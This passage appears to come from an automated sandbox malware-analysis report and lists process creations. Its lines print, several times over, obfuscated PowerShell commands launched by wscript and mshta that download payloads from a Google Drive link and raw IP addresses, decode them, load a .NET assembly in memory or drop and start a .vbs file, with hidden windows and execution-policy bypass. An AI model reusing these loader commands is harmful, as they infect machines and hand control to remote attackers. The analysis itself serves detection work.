2QnMi'+[cHar]0X22+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRTaEVMTElkWzFdKyRzaGVsTElkWzEzXSsneCcpICgoJ1M3RmltYWdlJysnVXJsID0gYkJIaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgYkJIO1M3RndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbicrJ3Q7UzdGaW1hZ2VCeXRlcyA9IFM3RndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoUzdGaW1hJysnZ2VVcmwpO1M3RmltYWdlVGV4dCA9JysnIFtTeXN0ZW0uVGUnKyd4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKFM3RmltYWdlQnl0ZXMpO1M3RnN0YXJ0RmxhZyA9IGJCSDw8JysnQkFTRTY0XycrJ1NUQVJUPj5iQkg7UzdGZW5kRmxhZyA9IGInKydCSDw8QkFTRTY0X0VORD4+YkJIO1M3RnN0YXJ0SW5kZXggPSBTN0ZpbWFnZVRleHQuSW5kZXhPZihTN0ZzdGFydEZsYWcpO1M3RmVuZEluZGV4JysnID0gUzdGaW1hZ2VUZXh0LkluZGV4T2YoUzdGZW5kRmxhJysnZyk7UzdGc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIFM3RmVuZEluZGV4IC1ndCBTN0ZzdCcrJ2FydEluZGV4O1M3RnN0YXJ0SW5kZXggKz0gUzdGJysnc3RhcnRGbGFnLkxlbmcnKyd0aDtTN0ZiYScrJ3NlNjRMZW5ndGggPSBTN0ZlbmRJbmRleCAtIFM3RnN0YXInKyd0SW5kZXg7UzdGYmFzZTY0Q29tbWFuZCA9IFM3RmltYWdlVGV4dC5TdWJzdHJpbmcoUzdGc3RhcnRJbmRleCwgUzdGYmFzZTY0TCcrJ2VuZ3RoKTsnKydTN0ZiYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luICcrJyhTN0ZiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgQkRGIEZvckVhY2gtT2JqZWN0IHsgUzdGXyB9KVsnKyctJysnMS4nKycuLShTN0ZiYXNlNjRDb21tYW5kLkxlbmd0aCldO1M3RmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoUzdGYicrJ2FzZTY0UmV2ZXJzZWQpO1M3RmxvYWRlZEFzJysnc2VtJysnYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChTN0Zjb21tYScrJ25kJysnQnl0JysnZXMpO1M3RnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QoYkJIVkFJJysnYkJIKTtTN0Z2YWlNZXRob2QuSW52b2tlKFM3Rm51JysnbGwsIEAoYkJIdHh0LktMTExQTVMvNTYvMTUxLjg3MS42NC44OTEvLzpwdHRoYkJILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhkZXNhdGl2YWRvYkInKydILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhhc3BuZXRfcmVnYnJvd3NlcnNiQkgsIGJCSGRlc2F0aXZhZG9iQkgsIGJCSGRlc2F0aXZhZG9iQkgsYkJIZGVzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvJysnYkJILGJCSGRlc2F0aXZhZG8nKydiQkgsYkJIZGUnKydzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvYkJILGJCSDFiQkgsYkJIZGVzYXRpdmFkb2JCSCkpOycpLlJlUGxhY0UoJ0JERicsJ3wnKS5SZVBsYWNFKCdiQkgnLFtzdFJpbmddW2NoYXJdMzkpLlJlUGxhY0UoJ1M3RicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H, bBHdesativadobBH, bBHaspnet_regbrowsersbBH, bBHdesativadobBH, bBHdesativadobBH,bBHdesativadobBH,bBHdesativado'+'bBH,bBHdesativado'+'bBH,bBHde'+'sativadobBH,bBHdesativadobBH,bBH1bBH,bBHdesativadobBH));').RePlacE('BDF','\|').RePlacE('bBH',[stRing][char]39).RePlacE('S7F','$'))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRTaEVMTElkWzFdKyRzaGVsTElkWzEzXSsneCcpICgoJ1M3RmltYWdlJysnVXJsID0gYkJIaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgYkJIO1M3RndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbicrJ3Q7UzdGaW1hZ2VCeXRlcyA9IFM3RndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoUzdGaW1hJysnZ2VVcmwpO1M3RmltYWdlVGV4dCA9JysnIFtTeXN0ZW0uVGUnKyd4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKFM3RmltYWdlQnl0ZXMpO1M3RnN0YXJ0RmxhZyA9IGJCSDw8JysnQkFTRTY0XycrJ1NUQVJUPj5iQkg7UzdGZW5kRmxhZyA9IGInKydCSDw8QkFTRTY0X0VORD4+YkJIO1M3RnN0YXJ0SW5kZXggPSBTN0ZpbWFnZVRleHQuSW5kZXhPZihTN0ZzdGFydEZsYWcpO1M3RmVuZEluZGV4JysnID0gUzdGaW1hZ2VUZXh0LkluZGV4T2YoUzdGZW5kRmxhJysnZyk7UzdGc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIFM3RmVuZEluZGV4IC1ndCBTN0ZzdCcrJ2FydEluZGV4O1M3RnN0YXJ0SW5kZXggKz0gUzdGJysnc3RhcnRGbGFnLkxlbmcnKyd0aDtTN0ZiYScrJ3NlNjRMZW5ndGggPSBTN0ZlbmRJbmRleCAtIFM3RnN0YXInKyd0SW5kZXg7UzdGYmFzZTY0Q29tbWFuZCA9IFM3RmltYWdlVGV4dC5TdWJzdHJpbmcoUzdGc3RhcnRJbmRleCwgUzdGYmFzZTY0TCcrJ2VuZ3RoKTsnKydTN0ZiYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luICcrJyhTN0ZiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgQkRGIEZvckVhY2gtT2JqZWN0IHsgUzdGXyB9KVsnKyctJysnMS4nKycuLShTN0ZiYXNlNjRDb21tYW5kLkxlbmd0aCldO1M3RmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoUzdGYicrJ2FzZTY0UmV2ZXJzZWQpO1M3RmxvYWRlZEFzJysnc2VtJysnYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChTN0Zjb21tYScrJ25kJysnQnl0JysnZXMpO1M3RnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QoYkJIVkFJJysnYkJIKTtTN0Z2YWlNZXRob2QuSW52b2tlKFM3Rm51JysnbGwsIEAoYkJIdHh0LktMTExQTVMvNTYvMTUxLjg3MS42NC44OTEvLzpwdHRoYkJILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhkZXNhdGl2YWRvYkInKydILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhhc3BuZXRfcmVnYnJvd3NlcnNiQkgsIGJCSGRlc2F0aXZhZG9iQkgsIGJCSGRlc2F0aXZhZG9iQkgsYkJIZGVzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvJysnYkJILGJCSGRlc2F0aXZhZG8nKydiQkgsYkJIZGUnKydzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvYkJILGJCSDFiQkgsYkJIZGVzYXRpdmFkb2JCSCkpOycpLlJlUGxhY0UoJ0JERicsJ3wnKS5SZVBsYWNFKCdiQkgnLFtzdFJpbmddW2NoYXJdMzkpLlJlUGxhY0UoJ1M3RicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H, bBHdesativadobBH, bBHaspnet_regbrowsersbBH, bBHdesativadobBH, bBHdesativadobBH,bBHdesativadobBH,bBHdesativado'+'bBH,bBHdesativado'+'bBH,bBHde'+'sativadobBH,bBHdesativadobBH,bBH1bBH,bBHdesativadobBH));').RePlacE('BDF','\|').RePlacE('bBH',[stRing][char]39).RePlacE('S7F','$'))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRTaEVMTElkWzFdKyRzaGVsTElkWzEzXSsneCcpICgoJ1M3RmltYWdlJysnVXJsID0gYkJIaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgYkJIO1M3RndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbicrJ3Q7UzdGaW1hZ2VCeXRlcyA9IFM3RndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoUzdGaW1hJysnZ2VVcmwpO1M3RmltYWdlVGV4dCA9JysnIFtTeXN0ZW0uVGUnKyd4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKFM3RmltYWdlQnl0ZXMpO1M3RnN0YXJ0RmxhZyA9IGJCSDw8JysnQkFTRTY0XycrJ1NUQVJUPj5iQkg7UzdGZW5kRmxhZyA9IGInKydCSDw8QkFTRTY0X0VORD4+YkJIO1M3RnN0YXJ0SW5kZXggPSBTN0ZpbWFnZVRleHQuSW5kZXhPZihTN0ZzdGFydEZsYWcpO1M3RmVuZEluZGV4JysnID0gUzdGaW1hZ2VUZXh0LkluZGV4T2YoUzdGZW5kRmxhJysnZyk7UzdGc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIFM3RmVuZEluZGV4IC1ndCBTN0ZzdCcrJ2FydEluZGV4O1M3RnN0YXJ0SW5kZXggKz0gUzdGJysnc3RhcnRGbGFnLkxlbmcnKyd0aDtTN0ZiYScrJ3NlNjRMZW5ndGggPSBTN0ZlbmRJbmRleCAtIFM3RnN0YXInKyd0SW5kZXg7UzdGYmFzZTY0Q29tbWFuZCA9IFM3RmltYWdlVGV4dC5TdWJzdHJpbmcoUzdGc3RhcnRJbmRleCwgUzdGYmFzZTY0TCcrJ2VuZ3RoKTsnKydTN0ZiYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luICcrJyhTN0ZiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgQkRGIEZvckVhY2gtT2JqZWN0IHsgUzdGXyB9KVsnKyctJysnMS4nKycuLShTN0ZiYXNlNjRDb21tYW5kLkxlbmd0aCldO1M3RmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoUzdGYicrJ2FzZTY0UmV2ZXJzZWQpO1M3RmxvYWRlZEFzJysnc2VtJysnYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChTN0Zjb21tYScrJ25kJysnQnl0JysnZXMpO1M3RnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QoYkJIVkFJJysnYkJIKTtTN0Z2YWlNZXRob2QuSW52b2tlKFM3Rm51JysnbGwsIEAoYkJIdHh0LktMTExQTVMvNTYvMTUxLjg3MS42NC44OTEvLzpwdHRoYkJILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhkZXNhdGl2YWRvYkInKydILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhhc3BuZXRfcmVnYnJvd3NlcnNiQkgsIGJCSGRlc2F0aXZhZG9iQkgsIGJCSGRlc2F0aXZhZG9iQkgsYkJIZGVzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvJysnYkJILGJCSGRlc2F0aXZhZG8nKydiQkgsYkJIZGUnKydzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvYkJILGJCSDFiQkgsYkJIZGVzYXRpdmFkb2JCSCkpOycpLlJlUGxhY0UoJ0JERicsJ3wnKS5SZVBsYWNFKCdiQkgnLFtzdFJpbmddW2NoYXJdMzkpLlJlUGxhY0UoJ1M3RicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H, bBHdesativadobBH, bBHaspnet_regbrowsersbBH, bBHdesativadobBH, bBHdesativadobBH,bBHdesativadobBH,bBHdesativado'+'bBH,bBHdesativado'+'bBH,bBHde'+'sativadobBH,bBHdesativadobBH,bBH1bBH,bBHdesativadobBH));').RePlacE('BDF','\|').RePlacE('bBH',[stRing][char]39).RePlacE('S7F','$'))"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRTaEVMTElkWzFdKyRzaGVsTElkWzEzXSsneCcpICgoJ1M3RmltYWdlJysnVXJsID0gYkJIaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgYkJIO1M3RndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbicrJ3Q7UzdGaW1hZ2VCeXRlcyA9IFM3RndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoUzdGaW1hJysnZ2VVcmwpO1M3RmltYWdlVGV4dCA9JysnIFtTeXN0ZW0uVGUnKyd4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKFM3RmltYWdlQnl0ZXMpO1M3RnN0YXJ0RmxhZyA9IGJCSDw8JysnQkFTRTY0XycrJ1NUQVJUPj5iQkg7UzdGZW5kRmxhZyA9IGInKydCSDw8QkFTRTY0X0VORD4+YkJIO1M3RnN0YXJ0SW5kZXggPSBTN0ZpbWFnZVRleHQuSW5kZXhPZihTN0ZzdGFydEZsYWcpO1M3RmVuZEluZGV4JysnID0gUzdGaW1hZ2VUZXh0LkluZGV4T2YoUzdGZW5kRmxhJysn